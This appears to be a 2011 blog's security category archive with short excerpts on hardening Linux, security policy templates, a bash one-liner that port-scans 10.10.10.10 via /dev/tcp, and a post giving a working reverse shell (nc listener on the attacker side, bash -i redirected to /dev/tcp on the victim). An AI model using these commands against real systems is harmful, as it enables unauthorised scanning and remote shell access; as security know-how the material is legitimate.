Category Archives: Security

Building secure Linux systems

Posted on December 14, 2011 by admin

In this post, I’m going to be documenting the process that I’m working on to build secure Linux systems. What I’d like to have when I’m done Selinux is ON and enforcing Is certifiable to a set of reasonable standards … Continue reading →

Posted in Security, Tech tips | Comments Off

Port scanning without a port scanner using bash

Posted on November 25, 2011 by admin

Neat trick for port scanning without a port scanner on Linux (may not work on all distros) for i in $(seq 1 1 1024); do echo > /dev/tcp/10.10.10.10/$i; [ $? == 0 ] && echo $i >>/tmp/open.txt; done

Posted in Code, Security | Comments Off

Remote shell access without installing any tools

Posted on November 25, 2011 by admin

Here’s a method for opening up a TCP connection from one host to another without needing to install any tools. From the attacker machine, wait for a connection nc -nlp 12345 From the victim /bin/bash -i > /dev/tcp/10.10.10.10/12345 0<&1 2>&1 … Continue reading →

Posted in Code, Security | Comments Off

Good security policy templates

Posted on September 14, 2011 by admin

As part of crafting new security policies, I’ve been hunting down some good examples. NIST has a good list So far I’ve found the department of the interior handbook to be quite a good and comprehensive resource. Dmoz has a … Continue reading →

Posted in Security | Comments Off